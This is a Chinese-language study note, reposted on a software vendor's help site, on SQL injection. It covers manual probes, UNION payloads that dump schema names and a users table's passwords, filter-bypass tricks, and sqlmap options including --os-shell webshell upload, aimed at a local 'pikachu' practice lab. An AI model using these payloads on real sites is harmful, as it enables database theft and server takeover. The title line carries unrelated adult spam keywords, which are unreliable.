日韩欧美人妻无码精品白浆,夜夜嗨AV免费入口,国产欧美官网在线看,高校回应聋哑女生因长相完美被质疑

LOGO OA教程 ERP教程 模切知識(shí)交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

SQL注入方法

freeflydom
2024年9月18日 1:47 本文熱度 1744

前言

記錄一些注入思路和經(jīng)常使用的工具,后續(xù)有用到新的工具和總結(jié)新的方法再繼續(xù)補(bǔ)充。

如何測(cè)試與利用注入點(diǎn)

手工

下面的現(xiàn)象是在說(shuō)存在注入點(diǎn)后的現(xiàn)象,如果服務(wù)端有防護(hù)手段就需要另外的手段繞過(guò)。

老方法:

  • 單引號(hào)

    現(xiàn)象:出現(xiàn)數(shù)據(jù)庫(kù)報(bào)錯(cuò)。

  • or 1=1--

    現(xiàn)象:正常訪問(wèn)頁(yè)面或者跟多數(shù)據(jù)一起展現(xiàn)出來(lái)了。

  • and 1=1--

    現(xiàn)象:正常訪問(wèn)頁(yè)面。

  • and 1=2--

    現(xiàn)象:不會(huì)顯示任何內(nèi)容或者會(huì)看到報(bào)錯(cuò)信息,這取決于服務(wù)端代碼是如何寫的。

  • order by n

    現(xiàn)象:判斷該表的字段數(shù)量,直到?jīng)]有報(bào)錯(cuò)即order by后面那個(gè)n就是字段數(shù)

  • union

    前提:知道表的字段數(shù)量,所以可以先使用上面的order by進(jìn)行測(cè)試字段數(shù)

    payload:union select user(),database()--

    現(xiàn)象:若存在注入點(diǎn),這里的union使用的地方通常是可以展示多個(gè)數(shù)據(jù)的地方,因?yàn)槁?lián)合出來(lái)的數(shù)據(jù)會(huì)很多條,若存在注入點(diǎn)union注入的能力會(huì)十分強(qiáng)大。

    MySQL5.0以上有information_schema數(shù)據(jù)庫(kù)信息

    • 獲取所有數(shù)據(jù)庫(kù)名:

      union select 1,group_concat(schema_name) from information_schema.schemata

    • 獲取當(dāng)前數(shù)據(jù)庫(kù)所有表名:

      'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

    • 獲取某些表的所有列名:

      'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

      其中table_name=0x7573657273為十六進(jìn)制,這個(gè)不轉(zhuǎn)成十六進(jìn)制也可以table_name="users"

    • 獲取某表的所有字段數(shù)據(jù):

      ' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users

      0x7c表示 | 符號(hào),其實(shí)就是用過(guò)|將所有字段數(shù)據(jù)拼接到一起進(jìn)行顯示

注入思路

  • 第一步:找注入點(diǎn),尋報(bào)錯(cuò)

    單引號(hào)、雙引號(hào)、單引號(hào)+括號(hào)、雙引號(hào)+括號(hào)、單引號(hào)+雙括號(hào)、雙引號(hào)+雙括號(hào)、數(shù)字型(不用閉合)、json等等類型注入(post數(shù)據(jù))、http header注入...

  • 第二步:

    • 嘗試報(bào)錯(cuò)注入。

    • dnslog注入拖庫(kù)

    • bool盲注、base on time 時(shí)間型注入等等

    • http header 數(shù)據(jù)包中尋找注入點(diǎn)。

    • order by 、union select 等方法猜測(cè)后端代碼中這條sql語(yǔ)句查詢的屬性列數(shù)是多少

    • union select 1,2,3...,直到查詢列數(shù)后,通過(guò)查詢一個(gè)不存在的數(shù)據(jù)然后與union select聯(lián)合查詢配合回顯顯示位

    • 如果被攔下了:對(duì)數(shù)據(jù)進(jìn)行編碼、大小寫混用、雙寫、字符串拼接等等

    • 若有回顯信息

      修改顯示位為我們要獲取的信息,比如:database()、version()等等,或者mysql5.0以上使用imformation_schema來(lái)快速拖庫(kù)。

    • 若無(wú)回顯信息

      嘗試bool盲注、base on time時(shí)間型注入等等。這里也可以嘗試報(bào)錯(cuò)注入。

    • 若第一步發(fā)現(xiàn)有回顯報(bào)錯(cuò)信息出現(xiàn),則可以進(jìn)行sql注入語(yǔ)句的編寫。

    • 若第一步無(wú)回顯信息出現(xiàn)。

  • 第三步:

    • 編寫能夠通過(guò)前后端檢查的sql注入語(yǔ)句

    • 使用工具拖庫(kù)

    • 可嘗試使用數(shù)據(jù)庫(kù)自帶的可執(zhí)行系統(tǒng)命令進(jìn)一步滲透。

工具

以下是一些工具注入手段。
在Github或谷歌搜索都能搜到

  • Pongolin(穿山甲)

  • Havij(蘿卜頭)

    來(lái)自國(guó)外的,比較經(jīng)典且實(shí)用,就是注冊(cè)的時(shí)候有點(diǎn)麻煩,可以通過(guò)報(bào)錯(cuò)的信息發(fā)現(xiàn)缺少什么組件去網(wǎng)上直接找解決方法即可。

    可以執(zhí)行后端數(shù)據(jù)庫(kù)指紋識(shí)別,檢索DBMS用戶和密碼哈希,轉(zhuǎn)儲(chǔ)表和列,從數(shù)據(jù)庫(kù)獲取

    數(shù)據(jù),執(zhí)行SQL語(yǔ)句甚至訪問(wèn)底層文件系統(tǒng)并發(fā)出操作系統(tǒng)級(jí)命令

sqlmap

下載地址:https://github.com/sqlmapproject/sqlmap

介紹:是一個(gè)開源的滲透工具。使用python2.7開發(fā)的,所以我們使用的時(shí)候需要用python2。或者直接去kali系統(tǒng)使用,kali自帶了sqlmap工具。而且他的參數(shù)都是直接添加即可,沒(méi)有順序可言,就很方便。

執(zhí)行命令后可能會(huì)提示,下面使用簡(jiǎn)單的-u對(duì)一個(gè)網(wǎng)址進(jìn)行測(cè)試作為示例入門:

  • 1:sqlmap測(cè)試出來(lái)時(shí)哪個(gè)數(shù)據(jù)庫(kù)的時(shí)候會(huì)提示你是否還繼續(xù)測(cè)試其他數(shù)據(jù)庫(kù)的payload注入語(yǔ)句,這里一般輸入n,你不放心就可以y

  • 2:沒(méi)有設(shè)置level和risk的話就會(huì)詢問(wèn)你是否默認(rèn)都為等級(jí)1

  • 3:找到注入的參數(shù)后就會(huì)詢問(wèn)你是否還要繼續(xù)找其他注入?yún)?shù),這里就看自己需求

  • 出結(jié)果:

開始介紹參數(shù)使用與示例

-r

  • 介紹:萬(wàn)能參數(shù),主要針對(duì)post注入,但是任何其他請(qǐng)求方法都是可以的,這個(gè)參數(shù)用的最多。該參數(shù)是將數(shù)據(jù)包文件中的數(shù)據(jù)發(fā)送出去測(cè)試sql注入點(diǎn),所以測(cè)試網(wǎng)站中某個(gè)url是否有sql注入點(diǎn)就可以抓包,然后保存下來(lái),使用-r參數(shù)進(jìn)行對(duì)該url測(cè)試。

執(zhí)行命令:python2 sqlmap.py -r 數(shù)據(jù)包文件

-u

  • 介紹:只針對(duì)get請(qǐng)求,并且參數(shù)url最好用雙引號(hào)括起來(lái)。避免有些符號(hào)無(wú)法轉(zhuǎn)義當(dāng)成參數(shù)寫進(jìn)去了。

執(zhí)行命令:python2 sqlmap.py -u "http://192.168.121.151/pikachu/vul/sqli/sqli_search.php?name=vince&submit=%E6%90%9C%E7%B4%A2"

-m

  • 介紹:上面的-u只能對(duì)一個(gè)url進(jìn)行測(cè)試,那么肯定能夠?qū)Χ鄠€(gè)url進(jìn)行測(cè)試的參數(shù),那就是-m了,需要注意的是-m的參數(shù)是指定文件,我們多個(gè)url是寫在文件中,然后-m指定該文件

執(zhí)行命令:sqlmap-master>python2 sqlmap.py --level 3 --risk 3 -m ./m.txt

注意:若你使用的url都是同一個(gè)ip地址下的網(wǎng)址的話,在測(cè)試過(guò)程中,會(huì)出現(xiàn)問(wèn)你是否跳過(guò)同一個(gè)ip下的另一個(gè)url網(wǎng)址測(cè)試,這時(shí)候需要你選擇否來(lái)繼續(xù)測(cè)試你文件中的下一個(gè)url網(wǎng)址,如果不是同ip僅僅只是詢問(wèn)你確認(rèn)該網(wǎng)址。如下圖就是同一個(gè)ip下的兩個(gè)網(wǎng)址進(jìn)行測(cè)試,輪到下一個(gè)的時(shí)候會(huì)詢問(wèn)你是否跳過(guò),我們要測(cè)試的肯定一般都不會(huì)跳過(guò),所以選擇否。

--level

  • 介紹:執(zhí)行測(cè)試的等級(jí)(1-5,默認(rèn)為1),使用–level 參數(shù)且數(shù)值 >=2的時(shí)候也會(huì)檢查cookie里面的參數(shù),當(dāng)>=3的時(shí)候?qū)z查User-agent和Referer。

執(zhí)行命令:按照上面的執(zhí)行語(yǔ)句加一句 [--level 等級(jí)] 即可,如下

python2 sqlmap.py --level 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"

注意:比如你寫了level 3,那么在詢問(wèn)你的時(shí)候就會(huì)是 level 3,但是risk還是默認(rèn)1,如下圖

--risk

  • 介紹:執(zhí)行測(cè)試的風(fēng)險(xiǎn)(0-3,默認(rèn)為1),默認(rèn)是1會(huì)測(cè)試大部分的測(cè)試語(yǔ)句,2會(huì)增加基于事件的測(cè)試語(yǔ)句,3會(huì)增加OR語(yǔ)句的SQL注入測(cè)試。

執(zhí)行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"

同理注意:比如你寫了risk3,那么在詢問(wèn)你的時(shí)候就會(huì)是 risk3,但是level還是默認(rèn)1,很容易發(fā)現(xiàn),如多l(xiāng)evel 和 risk都定義了參數(shù)等級(jí)那就不會(huì)按照默認(rèn)的等級(jí)來(lái)。


通常情況下使用level 3 risk 3就可以。


-v

顯示詳細(xì)信息的意思,ERBOSE信息級(jí)別: 0-6 (缺省默認(rèn)1),其值具體含義:

  • “0”只顯示python錯(cuò)誤以及嚴(yán)重的信息;

  • "1"同時(shí)顯示基本信息和警告信息(默認(rèn));

  • “2”同時(shí)顯示debug信息;

  • “3”同時(shí)顯示注入的payload;

  • “4”同時(shí)顯示HTTP請(qǐng)求;

  • “5”同時(shí)顯示HTTP響應(yīng)頭;

  • “6”同時(shí)顯示HTTP響應(yīng)頁(yè)面;

如果想看到sqlmap發(fā)送的測(cè)試payload最好的等級(jí)就是3。設(shè)置為5的話,可以看到http相應(yīng)信息,比較詳細(xì)。

執(zhí)行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" -v 3

學(xué)到這里其實(shí)已經(jīng)發(fā)現(xiàn)我們的參數(shù)逐漸完善了,基本的語(yǔ)句就是上面的例子↑

-p

-p就是指定你注入的參數(shù),比如id是一個(gè)注入點(diǎn),那我們?cè)跍y(cè)試的時(shí)候就可以指定id參數(shù),-p id,這樣測(cè)試會(huì)讓測(cè)試時(shí)間大大減少。不管是post數(shù)據(jù)包還是get的url都是可以使用-p 直接指定注入?yún)?shù)。

--threads

  • 介紹:指明發(fā)送請(qǐng)求的并發(fā)線程數(shù)量。線程數(shù)越低判斷出來(lái)的sql注入準(zhǔn)確率越高。

    • 注意:這個(gè)默認(rèn)線程數(shù)量在 sqlmap文件夾\lib\core\setting.py 中,修改其中的MAX_NUMBER_OF_THREADS = 10,也就是說(shuō)你使用--threads 指明的線程數(shù)最大也就10,想要指定更大的就修改配置文件。(一般不需要很大,不然對(duì)方服務(wù)器也頂不住這么大的請(qǐng)求數(shù)量。甚至還有可能封你ip)

-batch-smart

智能判斷測(cè)試,自行尋找注入點(diǎn)進(jìn)行測(cè)試 (該命令很少用)

這個(gè)智能指令,會(huì)將所有數(shù)據(jù)庫(kù)全部扒一遍,并且會(huì)將每一步的信息和數(shù)據(jù)全部給我們保存下來(lái),在如下目錄中

記住,這個(gè)參數(shù)測(cè)出來(lái)的信息會(huì)很多,數(shù)據(jù)庫(kù)、表等等都會(huì)出來(lái)。

--os-shell

個(gè)人不推薦使用。(動(dòng)靜大不說(shuō),等待時(shí)間還比較久)

前提條件

  • 網(wǎng)站必須是root權(quán)限

  • 攻擊者需要知道網(wǎng)站的絕對(duì)路徑

  • GPC為off,php主動(dòng)轉(zhuǎn)義的功能關(guān)閉

該功能耗費(fèi)時(shí)間比較長(zhǎng)。

原理

就是用into outfile函數(shù)將一個(gè)可以用來(lái)上傳的php文件寫到網(wǎng)站的根目錄下
然后利用tmpukjhb.php上傳了一個(gè)tmpbezal.php的文件,tmpbezal.php這個(gè)文件可以用來(lái)執(zhí)行系統(tǒng)命令,并且將結(jié)果返回出來(lái)

--mobile

直接加上--mobile即可,他會(huì)自動(dòng)讓你選擇手機(jī)型號(hào),不用自己輸入手機(jī)型號(hào)(所以也有局限性,但是也不算局限性,市面這么多手機(jī),只要能夠讓網(wǎng)站判斷是手機(jī)訪問(wèn)的即可了)

tamper插件

使用方法:

sqlmap.py -u url --tamper "base64encode.py";

獲取數(shù)據(jù)的相關(guān)參數(shù)

以下參數(shù)都是直接加上去即可,不用另外添加數(shù)據(jù)

例子:http://192.168.121.151/sql.php?id=1 --dbs

  • --dbs # 會(huì)獲取所有的數(shù)據(jù)庫(kù)

  • --current-user #顯示當(dāng)前用戶

  • --current-db #當(dāng)前連接數(shù)據(jù)庫(kù)名

  • --is-dba #判斷當(dāng)前的用戶是否為管理員

  • --users #列出數(shù)據(jù)庫(kù)所有所有用戶


暫時(shí)了解這么多,后面繼續(xù)進(jìn)階了再繼續(xù)學(xué)習(xí)補(bǔ)充...




該文章在 2024/9/18 9:56:19 編輯過(guò)
關(guān)鍵字查詢
相關(guān)文章
正在查詢...
點(diǎn)晴ERP是一款針對(duì)中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國(guó)內(nèi)大量中小企業(yè)的青睞。
點(diǎn)晴PMS碼頭管理系統(tǒng)主要針對(duì)港口碼頭集裝箱與散貨日常運(yùn)作、調(diào)度、堆場(chǎng)、車隊(duì)、財(cái)務(wù)費(fèi)用、相關(guān)報(bào)表等業(yè)務(wù)管理,結(jié)合碼頭的業(yè)務(wù)特點(diǎn),圍繞調(diào)度、堆場(chǎng)作業(yè)而開發(fā)的。集技術(shù)的先進(jìn)性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點(diǎn)晴WMS倉(cāng)儲(chǔ)管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購(gòu)管理,倉(cāng)儲(chǔ)管理,倉(cāng)庫(kù)管理,保質(zhì)期管理,貨位管理,庫(kù)位管理,生產(chǎn)管理,WMS管理系統(tǒng),標(biāo)簽打印,條形碼,二維碼管理,批號(hào)管理軟件。
點(diǎn)晴免費(fèi)OA是一款軟件和通用服務(wù)都免費(fèi),不限功能、不限時(shí)間、不限用戶的免費(fèi)OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved